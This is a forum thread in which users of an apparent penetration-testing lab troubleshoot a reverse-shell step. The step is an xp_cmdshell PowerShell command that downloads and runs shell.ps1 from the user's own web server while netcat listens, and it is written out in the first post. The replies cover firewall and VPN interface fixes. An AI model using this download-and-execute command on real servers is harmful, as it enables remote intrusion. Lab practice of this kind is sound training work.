I have Followed the Tutorial and Everything worked as expected But when i execute this command [ xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.3(my IP))/shell.ps1"); ] I get the Following Error.
Exception calling “DownloadString” with “1” argument(s): “Unable to connect to the remote server”
I have set the web server on my ip using Python and also shell.ps1 is on the webserver.
netcat is also setup waiting for the connection.
Any Help with Explanation would be very Helpful . Forgive me if this is a dumb question. I really have no idea what that error mean. I would be very thankful for Your answers. Thank You in Advance
Unable to connect to remote server. Check your firewall. Might have to do [sudo ufw status] and if it says inactive do [sudo ufw enable] and then [sudo ufw status]. That’s how i got around that issue
Yeah, as VbScrub mentioned it seems you put wrong IP there. Try running ifconfig to see all your interfaces. There should be one called similar to ‘tun0’ if you’ve followed up to this point successfully. That’s the IP you need to use in buth script and SQL command
Hey Guys, im stuck at the Problem with the Shell Script.
i started python3 -m http.server 80, view my vpn ip > changed in the line, i have no ufw installed and added the shell.ps1 in the same folder where i started mssqlclient.py but still error:
ew-ObjectNet.WebClient : The term ‘New-ObjectNet.WebClient’ is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is